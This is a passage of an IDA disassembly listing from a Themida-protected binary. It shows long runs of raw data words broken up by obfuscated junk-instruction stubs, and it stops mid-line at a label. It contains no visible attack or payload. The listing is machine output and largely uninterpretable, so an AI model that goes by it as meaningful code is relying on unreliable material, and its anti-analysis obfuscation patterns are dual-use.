0E924F600h, 0FFFFC1F1h, 0E904EC83h dd 317Ch, 15AD131h, 545259CFh, 0FFE9C1E9h, 4EC81FFh, 0E9000000h dd 439Bh, 2A5A68BDh, 0F127E941h, 0E950FFFFh, 0FFFFDDCDh dd 0BD242C89h, 27866032h, 596EE94Dh, 0DF310000h, 0F09CE95Bh dd 6C81FFFFh, 570C0424h, 74011C6Ch, 44810424h, 570C0424h dd 6C811C6Ch, 525D0424h, 8B5E050Ah, 89512414h, 4C181E1h dd 50000000h, 4B8h, 58C10100h, 31240C33h, 0C33240Ch, 0E5E95C24h dd 0B0FFFF91h, 0A365E924h, 487FFFFh, 14895C24h, 85E95424h dd 0FFFFFFBAh, 6CE92434h, 5AFFFFA6h, 0D12E9h, 0E9516600h dd 3BB4h, 8836F580h, 240C8BEAh, 81E68956h, 4C6h, 4C68100h dd 0E9000000h, 412Bh, 108ABB53h, 0CB814251h, 382E1B23h dd 5EC0EB81h, 0C38158BFh, 0D534AE51h, 2823E9h, 0E1895100h dd 4C181h, 0C1830000h, 240C8704h, 4C2815Ch, 83000000h dd 148704EAh, 24248B24h, 52240489h, 8FE95A58h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5495CF: ; CODE XREF: Themida_:005428CBj add al, 0A2h jmp loc_54B7D2 ; --------------------------------------------------------------------------- dw 8B66h dd 9568240Ch, 0E9000073h, 5715h, 8B243433h, 89572424h dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 4F2DE95Ch, 0E95C0000h dd 0FFFFBE2Ch, 241C875Eh, 768E95Ch, 11E90000h, 8BFFFF91h dd 0C4832404h, 5FE56804h, 14890000h, 0B0CE924h, 0CB280000h dd 0C0B60F59h, 4B1FE9h, 44015D00h, 48B0424h, 4C48124h dd 55000000h, 0F710E0BDh, 246C014Bh, 242C8B04h, 5195E9h dd 48F5400h, 24048324h, 0D28EE904h, 3535FFFFh, 0F7312318h dd 1E8125D0h, 0BE567988h, 7E727A6Bh, 6AEE8146h, 19E7A8Ah dd 174AE9F0h, 0EB680000h, 89000021h, 5E9243Ch, 1FFFFBDh dd 44EE2DD8h, 0C8686A09h, 8900003Ah, 8952241Ch, 6EBD55E2h dd 0D17F8859h, 0D8F581E5h, 1FF10B2h, 0EA815DEAh, 4, 2474FF52h dd 2371E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5496C2: ; CODE XREF: Themida_:0054C203j mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_542A4C ; --------------------------------------------------------------------------- dd 9811EEBFh, 0B0CF8110h, 813AD01Ah, 2B2B6DEFh, 95F78156h dd 1E4ACF0h, 243C8BFBh, 0FFBB03E9h, 243489FFh, 62303368h dd 24348B7Ah, 3104C483h, 24348BF0h, 53E28952h, 946CC9BBh dd 3E3C15Eh, 8904EC83h, 1C87241Ch, 87D3F724h, 815B241Ch dd 577C56F3h, 0DAEB8151h, 0F733B733h, 0F5EB81DBh, 1D9AB4Dh dd 0E9505BDAh, 0FFFFDD0Fh, 0DDBEE955h, 487FFFFh, 0D5E95C24h dd 89FFFFB8h, 4C781E7h, 81000000h, 4C7h, 243C8700h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_547C42 ; --------------------------------------------------------------------------- dd 5C240C87h, 89241C89h, 2198E9E3h, 11310000h, 95E9595Ah dd 0C1FFFF8Fh, 79E905E3h, 53FFFFDEh, 0E3C03BB3h, 0C0D3F604h dd 0CBFE07EBh, 0FFB92AE9h, 4C281FFh, 56000000h, 4BEh, 5EF22900h dd 0FFA9FBE9h, 0FFD821FFh, 0DCE92434h, 0B1FFFFDBh, 4235E9E0h dd 0E3C10000h, 4BD5507h, 0E9279AD1h, 2A2Fh, 0B9E7C581h dd 0E889AF1Ch, 45BB535Dh, 0C16A6A0Bh, 0EB8102E3h, 9371E00Ah dd 1C8BD801h, 4C48324h, 0FFA5D4E9h, 87DFF7FFh, 1EA81FAh dd 42000000h, 7AE9DAF7h, 81000041h, 5F62B6EBh, 81EB014Eh dd 5F62B6C3h, 242C8B4Eh, 4C481h, 0B0E90000h, 8B000006h dd 0C483243Ch, 0B4FFE904h, 0C801FFFFh, 0B462D59h, 0D801356Dh dd 6D0B4605h, 4EC8335h, 0E9243C89h, 0FFFFCAF8h, 5B44012Dh dd 18D0E912h, 814A0000h, 950378F2h, 0D4DE962h, 0DCF60000h dd 221FE9h, 6A586800h, 0D4E9043Fh, 5BFFFFF8h, 4BA52h, 0D3010000h dd 534DE95Ah, 0CF010000h, 4A46C781h, 0E95912F7h, 0FFFFA310h dd 53E9EE01h, 5EFFFFA4h, 0FFB90FE9h, 2B7068FFh, 2C890000h dd 0D2AE924h, 0EBA0000h, 81487572h, 473599F2h, 0E9D73143h dd 0FFFFBF8Bh, 7ABDC381h, 0EB816657h, 2C2F2F8Ch, 24A2F381h dd 0E3814D81h, 13D93C32h, 5EEACB81h, 0F3816D20h, 7DA85EFEh dd 875BDA01h, 575C2414h, 0C781E789h, 4, 4C781h, 4FE90000h dd 59FFFF9Ch, 0D102EFC1h, 0CF55E9E7h, 295EFFFFh, 1D2BE9C8h dd 4680000h, 5D356F11h, 5AAE9h, 4EC8300h, 83242489h, 5D042404h dd 0FFAD18E9h, 76C381FFh, 81DFCC38h, 0A82B34CBh, 0C3814341h dd 0A01490C5h, 875BD801h, 0F75C2404h, 4EC83E1h, 89242C89h dd 5D7968E5h, 4890000h, 4B824h, 0ED810000h, 683B6B08h dd 5653C501h, 3B6B08BEh, 5EF38968h, 590CC581h, 0DD016DCEh dd 0FFA268E9h, 244481FFh, 580C2E04h, 24348B54h, 0FFAF78E9h dd 0EE055EFFh, 3514085Ah, 5423038h, 2158C189h, 3389E9C8h dd 0D0890000h, 585A505Ah, 2EAC14Ah, 99DEA81h, 0BF578BD0h dd 3AA02649h, 0FFCAF3E9h, 81E589FFh, 4C5h, 5CDD6800h, 4890000h dd 4B824h, 0ED810000h, 27A0776Eh, 6E9C501h, 89FFFFEEh dd 5C68241Ch, 89000047h, 4812424h, 424h, 0BD555B00h, 4 dd 5D0DEB81h, 0EB0145C0h, 5D0DBD55h, 8FE945C0h, 8BFFFFB0h dd 89502404h, 405E0h, 4050000h, 87000000h, 8B5C2404h, 0C483243Ch dd 56A56804h, 3C890000h, 0DAE95724h, 55FFFFA4h, 3303E9h dd 4E72BF00h, 7C293A75h, 0A0E90824h, 52000051h, 36E97FB6h dd 5AFFFFC9h, 8704C483h, 248B241Ch, 0AFE95124h, 28FFFFB3h dd 0FC280C2h, 0FEE95866h, 100002Eh, 463EE9D3h, 34FF0000h dd 24048B24h, 5004C483h, 49E9E089h, 81000042h, 4C4h, 4E5C0500h dd 0D0015491h, 914E5C2Dh, 2434FF54h, 0DDE9565Ah, 0FE000038h dd 0F6D7F6CFh, 8CEF80DFh, 0E924F780h, 0FFFFD336h, 4EC81h dd 0DDE90000h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549AC3: ; CODE XREF: Themida_:0054E060j pop edi pop dword ptr [esp] pop esp add edi, 2 jmp loc_542E1E ; --------------------------------------------------------------------------- db 2Ch dd 51F82874h, 8E974B5h, 0C1FFFFCAh, 0EFD105EFh, 8104EFC1h dd 82ADAF7h, 999FE900h, 0D300FFFFh, 6638EB80h, 90B450h dd 685866E3h, 42CDh, 435E9h, 0C83B6600h, 8C16E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B12: ; CODE XREF: Themida_:0054D31Bj push ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_542872 ; --------------------------------------------------------------------------- dw 0E981h dd 4E4D3CA1h, 559CE31h, 3D1A1045h, 452DF001h, 5E3D1A10h dd 0E82DD829h, 836C2A1Ch, 0C8904ECh, 3B0C6824h, 2D592631h dd 230A5758h, 5805C829h, 8B230A57h, 8953240Ch, 4C381E3h dd 81000000h, 4C3h, 241C8700h, 3114E9h, 4C48100h, 0E9000000h dd 5163h, 0CC242C81h, 59351C2Ch, 2CCCBE56h, 0F101351Ch dd 8324348Bh, 34FF04C4h, 24148B24h, 8104C483h, 4C4h, 54535500h dd 68BA525Bh, 8168530Dh, 0AC258BCAh, 0C2814270h, 8700D218h dd 4658EB81h, 0D3011B04h, 4658C381h, 815A1B04h, 4ECh, 24348900h dd 4BEh, 8CC38100h, 0E966022Fh, 447Dh, 66E53059h, 59EB0058h dd 54016853h, 0E95B0A47h, 4B28h, 0E9243489h, 0FFFFE240h dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h, 55595424h dd 4BDh, 5DE90100h, 4C181h, 0C330000h, 0CF00E924h, 4ABAFFFFh dd 213DC66Dh, 15B2E9D7h, 0E8010000h, 14D5E9h db 0 ; --------------------------------------------------------------------------- loc_549C45: ; CODE XREF: Themida_:0054D1BFj mov edx, [esp] add esp, 4 jmp loc_54CB49 ; --------------------------------------------------------------------------- db 81h dd 0D4BFFCEBh, 0B08EE918h, 0E068FFFFh, 0E9000027h, 0FFFFD5FAh dd 7DB753ACh, 0F8004104h, 0D2BE953h, 0EA010000h, 4443C281h dd 0E95D1FBAh, 0FFFFC5B5h, 34FFFD01h, 89515F24h, 4C181E1h dd 0E9000000h, 0FFFFD72Ah, 5004E95Ah, 0ACBB0000h, 5675182Eh dd 0D65C4DBEh, 7DEE8171h, 533A4A12h, 0C755EBBh, 43DBF737h dd 0FFC38143h, 293D479Ah, 0CE95BDEh, 81FFFFE1h, 0ED257CC3h dd 81C3295Eh, 0ED257CEBh, 0F53AE95Eh, 0C89FFFFh, 68565224h dd 35DF24CAh, 0FFE1BCE9h, 241C87FFh, 5224248Bh, 0FFBB4CE9h dd 2474FFFFh, 0D3E95804h, 68000039h, 7DEDh, 83243C89h dd 2C8904ECh, 0E7E95724h, 81FFFFA9h, 4C4h, 26E56800h, 0F5E90000h dd 89FFFF8Dh, 0D83158C3h, 2C81505Bh, 8809C724h, 0C7815F72h dd 728809C7h, 0BFE95358h, 1FFFF97h, 242C8BEBh, 4C481h dd 1C330000h, 241C3124h, 8B241C33h, 39E92424h, 0F6000000h dd 112CE9D0h, 0BB530000h, 1, 0E95BDA29h, 0B32h, 0C7ED80h dd 3927E9E8h, 0E1F60000h, 0CCB60F66h, 4FAE6866h, 240C8966h dd 0C8B60F66h, 0E99C5166h, 0FFFF8994h, 310CE8C1h, 0E95050C8h dd 0FFFFFF55h, 3070CA81h, 0EAC14AA9h, 0EFEFE908h, 0BF57FFFFh dd 0BAF31E4h, 240C8757h, 61E9D1F7h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549DBF: ; CODE XREF: Themida_:0054CEB3j mov [esp], edi mov edi, esp push ecx mov ecx, 20097280h add ecx, 7A2260A8h or ecx, 5BFB53C7h xor ecx, 622F6CB8h dec ecx jmp loc_543781 ; --------------------------------------------------------------------------- dw 0EF88h dd 0F591E959h, 0E089FFFFh, 4BE56h, 0F0010000h, 4BA525Eh dd 5000000h, 17A40780h, 802DD001h, 0E917A407h, 4A0Ah, 0BE6FD1BFh dd 0D0F78124h, 0E924BE6Fh, 2CAh, 3E9FB31h, 87000051h, 87D7F7FAh dd 0A0F281FAh, 816D1128h, 2695B9C2h, 0FFD38974h, 815A2434h dd 4C4h, 5FFB3100h, 0FFF978E9h, 2EB850FFh, 0BD67EE18h dd 67EE142Dh, 2158C529h, 34FF1C6Fh, 242C8B24h, 2669E9h dd 77096800h, 0F1E90000h, 58FFFF8Fh, 0E984C280h, 2BCCh dd 0E924248Bh, 50A1h, 0BD242C89h, 4, 360FDF2Dh, 10C12D2Ch dd 0E8013EA6h, 33BA5253h, 0E90C3443h, 2F73h, 24048B66h dd 274C68h, 3B1DE900h, 0CE010000h, 0F0A4E959h, 8966FFFFh dd 69E9240Ch, 87FFFF88h, 248B243Ch, 24148924h, 45E95A54h dd 4DFFFFE7h, 0B5E9DD87h, 0FF000029h, 505D2434h, 76E9E089h dd 0F7FFFFF2h, 2FBD55DBh, 1D1A714h, 0D8315DEBh, 5B2434FFh dd 8104C483h, 10E0242Ch, 0ACE94BF7h, 81000050h, 4E9h, 240C8700h dd 241C895Ch, 372BE9h db 0 ; --------------------------------------------------------------------------- loc_549F15: ; CODE XREF: Themida_:0054333Bj add ebp, esi add ebp, 3C1A6784h pop esi sub esi, ebp pop ebp shr esi, 7 push edi jmp loc_54D0D9 ; --------------------------------------------------------------------------- dw 0BA52h dd 37E5383Dh, 383EBB53h, 0D98937E5h, 0BAD8E95Bh, 1489FFFFh dd 8FCE924h, 0EF010000h, 3040EF81h, 815D3CDDh, 4ECh, 24148900h dd 1A41BB53h, 0F3816BE3h, 6BE31A43h, 1C8BDA89h, 0E0895024h dd 2922E9h, 81C10100h, 0E37E94E9h, 0E7C18140h, 5830F71Ah dd 0E9240C87h, 4ECEh ; --------------------------------------------------------------------------- loc_549F88: ; CODE XREF: Themida_:00549469j pop edx jmp loc_546C9E ; --------------------------------------------------------------------------- dw 0EFC1h dd 85EF8107h, 1B9FCAAh, 2434FFF9h, 4C4815Fh, 49000000h dd 6ECE9h, 67F38100h, 0E9E1E617h, 1009h, 0E9E38953h, 0FFFF96EBh dd 34FFEB01h, 242C8B24h, 8304C483h, 1C3304C4h, 2286E924h dd 34FF0000h, 5C9E924h, 44FE0000h, 9E90124h, 0BBFFFFECh dd 4F68F369h, 0FFF82AE9h, 7027BAFFh, 0CA816BDCh, 6B5E37EDh dd 9B91E942h, 1489FFFFh, 68C28824h, 56E6h, 850E9h, 88E28800h dd 24148BD5h, 4C481h, 30580000h, 2434FFE8h, 81240C8Bh dd 4C4h, 4C48300h, 65E9C330h, 83000015h, 575204C4h, 0C781E789h dd 4, 2BF8E9h, 24048900h, 0FFC972E9h, 815A54FFh, 4C2h dd 0C1A5E900h, 895CFFFFh, 0E6B9240Ch, 1235331h, 815759CFh dd 64C92404h, 348B02DAh, 4C48124h, 57000000h, 0F3034BBFh dd 4E95379h, 0B5FFFFB6h, 4EC8300h, 0B0240489h, 2CB20C30h dd 52C8FE01h, 0D2F689B2h, 0CAFECAFEh, 3055B151h, 26EFE9CAh dd 0E6810000h, 6F540F34h, 248FC681h, 0CE811F92h, 4AAD66B1h dd 76E7E681h, 0EE812115h, 0A6417482h, 0E95EF221h, 0FFFFBE0Ch ; --------------------------------------------------------------------------- loc_54A0CC: ; CODE XREF: Themida_:0054287Ej push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx jmp loc_549459 ; --------------------------------------------------------------------------- dw 0FB29h dd 2F03E95Fh, 0EC810000h, 4, 0BA241489h, 4, 9040FF2Dh dd 60FE921h, 2C890000h, 2BD24h, 0EF810000h, 1B7D207Eh dd 0FFA12CE9h, 20BA52FFh, 31113201h, 0E95D5AD0h, 0FFFFB8AEh dd 23C16853h, 24890000h, 1938E924h, 5A540000h, 468AE951h dd 58660000h, 522FC380h, 506A68h, 240C8900h, 74E994B1h dd 80000020h, 0FD88D4C7h, 0FF9FA9E9h, 0B2EF81FFh, 0E9B77188h dd 0FFFFC599h, 2D9BBB53h, 0D2E9488Eh, 59FFFFD5h, 42E7E9h dd 0C8B6600h, 6E6C6824h, 4890000h, 5E08924h, 4, 6ACDBB53h dd 0CB8137B2h, 216151BFh, 0E6F1E943h, 0C201FFFFh, 6BE0EA81h dd 835859F1h, 0C8904ECh, 3847B924h, 0F1813588h, 35883843h dd 0FFE813E9h, 4895CFFh, 9768E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A1C6: ; CODE XREF: Themida_:0054314Ej push 4261h mov [esp], ebx push edx mov dh, 0D2h mov bl, dh pop edx add dl, bl pop ebx jmp loc_548918 ; --------------------------------------------------------------------------- dd 4C681h, 34330000h, 24343124h, 8B243433h, 0C4832424h dd 0E9C00904h, 15CEh, 0E81F840Fh, 0EC83FFFFh, 24048904h dd 1CB8h, 2546E900h, 57BD0000h, 0E9748F0Eh, 0FFFFD1C8h dd 24048B66h, 0C0E6853h, 24890000h, 24048324h, 26EDE904h dd 0C8840000h, 84F2E99Ch, 0CB81FFFFh, 789A3451h, 0C3E95257h dd 8900002Fh, 5EF189FEh, 8ADFE95Fh, 3CD3FFFFh, 7AE99C24h dd 89FFFF9Eh, 0BB535EF5h, 83E4958Eh, 7FE9DD01h, 89FFFFEDh dd 9DBA2414h, 293BF66Ah, 0DEE95AD3h, 81000048h, 4C4h, 356BE900h dd 5A540000h, 4C281h, 0EA810000h, 4, 0E9241487h, 0FFFFB0E1h dd 0B9240C89h, 0 dd 5DECBF57h, 0EF811933h, 774270E3h, 0E6EF8147h, 4720010Ah dd 9661C781h, 37E9AF3Bh, 81FFFFD4h, 5B4017EBh, 934DE9A2h dd 0E955FFFFh, 0FFFFC7CFh, 4C481h, 0E94B0000h, 0FFFFD09Bh dd 240C8B66h, 0A438E957h, 8957FFFFh, 4C781E7h, 83000000h dd 3C8704C7h, 0D150E924h, 29E9FFFFh, 5FFFF84h, 421C5AA5h dd 0FFC329E9h, 841AE9FFh, 5758FFFFh, 1676850h, 25581DF6h dd 5E37B2h, 0F793D8F7h, 0E20593DBh, 89FFA9FEh, 402D58C7h dd 15DC42Eh, 40BF57F8h, 15DC42Eh, 515F5FF8h, 500F78B9h dd 0D0C18161h, 0E9248425h, 0FFFF96CFh, 9D1C77FFh, 14D35966h dd 0CDE99C24h, 0B8FFFF83h, 5CBCD560h, 8158C231h, 0BA062CEBh dd 1EC38159h, 128AD12h, 1EEB81D3h, 8128AD12h, 0BA062CC3h dd 0C3815A59h, 2, 31241C33h, 1C33241Ch, 85665C24h, 91E99CC8h dd 81FFFF83h, 354571EFh, 0E9FB013Eh, 0FFFFCF7Dh, 19E9F821h dd 89FFFFEBh, 0D388241Ch, 8904EC83h, 5052240Ch, 0FFAE50E9h dd 4B951FFh, 1000000h, 6BE959CFh, 59000017h, 81E78957h dd 4C7h, 4EF8100h, 0E9000000h, 0FFFFFADFh, 88868h, 24148900h dd 0C281E289h, 4, 2AACE9h, 31CE8000h, 0E914EE80h, 0FFFFE4BBh dd 2434875Fh, 6824248Bh, 6CD7h, 68240489h, 4F76h, 0BF243C89h dd 317478EBh, 3C8BF889h, 4C48324h, 0FFE100E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A429: ; CODE XREF: Themida_:0054DAEEj xor eax, [esp] xor [esp], eax jmp loc_5466E7 ; --------------------------------------------------------------------------- dd 0E8C04B0Ch, 0F6012C02h, 7B353D8h, 0F6CBCB80h, 2302E9DBh dd 17BB0000h, 4341ED67h, 0AF3CC381h, 0D801D53Ah, 0A8AFE95Bh dd 15EFFFFh, 53E958C6h, 0B800003Dh, 5A3475DBh, 257AE9h dd 2E2C100h, 2DA6E9h, 5E95800h, 53FFFF85h, 0FFB214E9h dd 240C8BFFh, 8804C483h, 885358E6h, 0BF9FE9F3h, 5553FFFFh dd 0FD6675BDh, 6EDC118h, 31E9DDF7h, 81FFFF93h, 81C7FEAh dd 10C2812Ah, 5F7CAB79h, 8B241487h, 0F9E92424h, 0FF000028h dd 86E92434h, 8100001Ch, 4C3h, 4EC8300h, 0BD242C89h, 2 dd 2FC4C381h, 0B8503279h, 282D6163h, 2767790Dh, 35D8F722h dd 8892ADA2h, 158C301h, 27EB81EBh, 815D4235h, 792FC4EBh dd 1C875D32h, 24248B24h, 9C243CD2h, 0FF8217E9h, 74FF55FFh dd 32E90424h, 54FFFFE9h, 81240C8Bh, 4C4h, 4C18100h, 68000000h dd 6F53h, 56241C89h, 1164B951h, 6BE93264h, 2C000023h, 2C4A2C23h dd 0E9D800DCh, 0FFFFBCC7h, 6D281FB8h, 0BA90E93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A556: ; CODE XREF: Themida_:00548BE7j add ebp, 2A081916h jmp loc_54AED4 ; --------------------------------------------------------------------------- db 51h, 0E9h, 0ACh dd 0B9FFFFDCh, 68064298h, 0FF9407E9h, 15B951FFh, 0BA757E3Fh dd 0F6705A1Ah, 8159CA31h, 0D72800C2h, 60C28144h, 290AD650h dd 60EA81DAh, 810AD650h, 0D72800EAh, 57525B44h, 62E95F5Ah dd 59FFFFF2h, 53E78957h, 9271FBBh, 19BD5509h, 21672625h dd 0B3E95DEBh, 81FFFFD4h, 79B4A8C2h, 92EF81D5h, 812BE312h dd 243045C7h, 42C78134h, 17A7D3Dh, 42EF81D7h, 0E97A7D3Dh dd 4298h, 0EC83E589h, 24348904h, 6A1D6CBEh, 5CE8122h, 533EF512h dd 20214CBBh, 5BDE0157h, 0FFCA0BE9h, 81525BFFh, 4ECh, 8661E900h dd 0C783FFFFh, 243C8704h, 0E089505Ch, 405h, 4E88300h, 0FFEF25E9h dd 78840FFFh, 68000046h, 76ADh, 0E9241489h, 0FFFFC45Ch dd 22C5815Fh, 1861BC0h, 0C6815DEEh, 2, 4880E9h, 4C68100h dd 83000000h, 348704EEh, 1485E924h, 2680000h, 8B000000h dd 0A2E9240Ch, 51000019h, 109F2B9h, 7042B869h, 42E99E26h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A67B: ; CODE XREF: Themida_:005437A4j push edi jmp loc_54764D ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h, 116B68h, 24048900h, 2621E9h, 4AC18100h, 31A00918h dd 62E959CAh, 80FFFF87h, 0EB8011C3h, 0C1EB8082h, 0C9B25251h dd 0FFDDFFE9h, 2434FFFFh, 0FFC23BE9h, 1C77FFFFh, 6659669Dh dd 9C241CD3h, 0FF805BE9h, 15E95EFFh, 59FFFFD2h, 4EC81h dd 14890000h, 0C2BB5324h, 0BA34C713h, 66D465CBh, 1C8BDA31h dd 4C48124h, 81000000h, 4A2189CAh, 3749E91Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A6FE: ; CODE XREF: Themida_:0054D0E3j pop esi sub esp, 4 mov [esp], edi mov edi, 322E3820h add ebx, 13512EFDh jmp loc_54D134 ; --------------------------------------------------------------------------- db 1, 0D0h, 5 dd 219040FFh, 5A2434FFh, 4C481h, 0FF500000h, 58042474h dd 0E924048Fh, 0FFFF9147h, 5C243C87h, 0E9DA875Ah, 0FFFF8592h dd 4245C29h, 81241C8Bh, 4C4h, 24148B00h, 8304C483h, 0C8904ECh dd 66F0B924h, 0EC8179D4h, 4, 0BB241C89h, 0FDE9C4ABh, 0FBE9D901h dd 1FFFFA6h, 2434FFF0h, 4C4815Eh, 68000000h, 54A3h, 0FFA800E9h dd 34895CFFh, 123FBE24h, 0F75604E2h, 348B2414h, 4C48124h dd 81000000h, 0D37D33C6h, 9E95307h, 88FFFFC1h, 0B65259CEh dd 5AF00042h, 422CF028h, 0EB805A66h, 81B65280h, 304EB151h dd 240C8BCEh, 8004C483h, 0B55109E6h, 8BEE30D5h, 0C483240Ch dd 0FFB45004h, 8058E600h, 0C680E8EEh, 0E9F328BFh, 43E7h dd 24148B66h, 0E902C483h, 0FFFF8642h, 0E904C483h, 179Dh dd 21E95B66h, 81FFFF7Fh, 75B6EBEAh, 5AD701FFh, 8704C783h dd 0F2E9243Ch db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A81B: ; CODE XREF: Themida_:00545535j push eax push ebx jmp loc_548ABC ; --------------------------------------------------------------------------- dw 74FFh dd 8F5E0424h, 43E92404h, 0BAFFFFC0h, 63375904h, 69E9DAF7h dd 29FFFFC3h, 0D79DE9DAh, 0A6B2FFFFh, 0C004CA80h, 0EBE902E2h dd 52FFFF88h, 880A73BAh, 6E2C143h, 0FFC4A8E9h, 240C89FFh dd 325EE9h, 246C8100h, 0BC141D04h, 4015E54h, 40D66824h dd 0F3E90000h, 5E000046h, 5BBF5757h, 3179C810h, 0E904247Ch dd 0FFFF905Eh, 2414875Eh, 2404095Ch, 7E8EE99Ch, 30ACFFFFh dd 2B75E9D8h, 0EA810000h, 56EA146Dh, 4DE9D2F7h, 8100001Eh dd 993FA4CBh, 11B95134h, 0C14ECC66h, 0F18102E9h, 3AB9434Dh dd 0AE3E981h, 0E18107E8h, 192F2882h, 1221E9h, 48B6600h dd 4EC8124h, 89000000h, 81E9242Ch, 8300001Dh, 0E581FFC5h dd 47C72524h, 100F581h, 0EB014641h, 83242C8Bh, 0C38104C4h dd 4, 2A28E9h, 0DA315D00h, 83241C8Bh, 0F7E904C4h, 81FFFFB0h dd 4C2h, 4C28300h, 5C241487h, 5F1DDE2Dh, 8D26E967h, 0D129FFFFh dd 0FFE7F0E9h, 1C77FFFFh, 1858669Dh, 0E99C2404h, 0FFFF7DE4h dd 0C281E289h, 4, 46851h, 1590000h, 2434FFCAh, 4C48359h dd 8B241487h, 34FF2424h, 24048B24h, 8904EC83h, 0E789243Ch dd 46E268h, 240C8900h, 271211B9h, 1FBD5559h, 1203037h dd 14D1E9E9h, 77FF0000h, 11589D1Ch, 0E99C2404h, 0FFFF7D90h dd 0D4F6DCF6h, 183EE9h, 441B700h, 53F82811h, 0D7F60CB7h dd 3AE9CFFEh, 1FFFFABh, 242C8BE8h, 104C483h, 3CA62DD8h dd 1C8B2D34h, 4C48324h, 31240433h, 4332404h, 24248B24h dd 24048B66h, 5E6268h, 0CC1E900h, 0E0890000h, 405h, 4BE5600h dd 1000000h, 392EE9F0h, 0C4810000h, 4, 8702C183h, 305C240Ch dd 0E99C2404h, 0FFFF7D1Ch, 6865BD55h, 81554C46h, 60552434h dd 0E95B5B9Dh, 0FFFFCF58h, 6659E828h, 219BE95Bh, 3C8B0000h dd 2079E924h, 0EC830000h, 242C8904h, 338CE9h, 0FDE96100h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA43: ; CODE XREF: Themida_:00549012j xchg ebx, [esp] pop esp jmp loc_542728 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 0BA03E900h, 0C6BEFFFFh, 0C150EC6Eh dd 0EE8103EEh, 0A1D8DD4h, 24A3E9h, 89E95100h, 89FFFF84h dd 5EE92434h, 0BA000010h, 6B737D25h, 0FF8617E9h, 68E2D1FFh dd 55FFh, 34ECE9h, 8BD02100h, 0C4812414h, 4, 0C47E9h, 1C77FF00h dd 6658669Dh, 9C240419h, 36CBE9h, 48BB5300h, 0C1125C40h dd 0D3F706E3h, 0B850D3F7h, 577D4A3Dh, 0D8F7D8F7h, 0FFCBEBE9h dd 0E28952FFh, 4C281h, 0C6E90000h, 0E9FFFFB0h, 0FFFF7C48h dd 8BF7295Dh, 0C4832434h, 8BF82104h, 0EE9243Ch, 81FFFFCEh dd 0AA3EA1EBh, 0E9D8012Ah, 1C39h, 0D8005A66h, 17B65266h dd 8B66F028h, 0C4812414h, 2, 5171B753h, 0FFC05FE9h, 0E95358FFh dd 0FFFFDAC7h, 4EC81h, 0C890000h, 0FEEDB124h, 0E9D9F6C9h dd 0FFFFBD0Eh ; --------------------------------------------------------------------------- loc_54AB38: ; CODE XREF: Themida_:005458D4j push edi mov edi, 4 add ebp, edi mov edi, [esp] add esp, 4 jmp loc_548B97 ; --------------------------------------------------------------------------- db 53h dd 30BBh, 89D30100h, 0E95F5B3Bh, 0FFFFFEE1h, 0C1815954h dd 4, 4B850h, 0C1290000h, 240C8758h, 0FFE114E9h, 0A8E950FFh dd 8FFFFFD1h, 248B2404h, 0C896624h, 7B9EE924h, 0BBFFFFFh dd 53330F44h, 666BBABBh, 84B95124h, 0E93B5222h, 0FFFFDB98h dd 51243486h, 0E130F188h, 0E130CC30h, 0D7F6FC86h, 42EC6866h dd 24148966h, 88F88850h, 0E78858C2h, 25E9D488h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ABC7: ; CODE XREF: Themida_:0054E581j mov esp, [esp] jmp loc_54CF74 ; --------------------------------------------------------------------------- db 33h dd 815C2414h, 4C4h, 240C8B00h, 8904EC83h, 0E2892414h, 4BE56h dd 0A9E90000h, 66FFFFDCh, 0E9EA8852h, 0FFFF825Dh, 5C243433h dd 2BE9D2F6h, 0BF000009h, 7F1E1C4Ah, 0DFF7EFD1h, 0F1DFF781h dd 0C181C070h, 381D0A4Ah, 0E981F901h, 381D0A4Ah, 0E92434FFh dd 0FFFFE3F8h, 4EC81h, 2C890000h, 5A545224h, 4C281h, 0EA810000h dd 4, 5C241487h, 0FFF015E9h, 0E5EB81FFh, 107CB66h, 0FBBA52C3h dd 0C1362215h, 0E2C104E2h, 0DEA2E903h, 875BFFFFh, 95F681FEh dd 1AEA8B5h, 0E9515EF5h, 2582h, 26DBC181h, 60E905C6h, 52FFFFCDh dd 6490BF57h, 0E7C168D2h, 8EFC102h, 8103EFC1h, 17531DC7h dd 81E7D17Bh, 3B20ADEFh, 5FFA89D1h, 0D8ACC281h, 83E940F9h dd 81FFFFFCh, 5D50BDF5h, 8BEE0130h, 0CEE9242Ch, 89FFFFCBh dd 28E92404h, 5A000025h, 592434FFh, 28DA6851h, 24890000h dd 24048124h, 4, 7DCE9h, 2C38300h, 31241C33h, 77E9241Ch dd 8100002Eh, 581196EEh, 0AA2DE946h, 8F5DFFFFh, 7BE92404h dd 66FFFFC8h, 53240C8Bh, 241C8B54h, 4251E9h, 87D3F700h dd 0ED814DDDh, 1D202CADh, 8106E5C1h, 83104F5h, 0E9EA0103h dd 1E81h, 53343E2Dh, 43C12D15h, 0F0290D8Ch, 8C43C105h dd 0FFBB530Dh, 811F5F10h, 0F4233FC3h, 59B105F5h, 0D8017347h dd 4759B12Dh, 0A390E973h, 0E954FFFFh, 212Eh, 8108E6C1h dd 0B13C1EE6h, 0E7E9462Eh db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AD6B: ; CODE XREF: 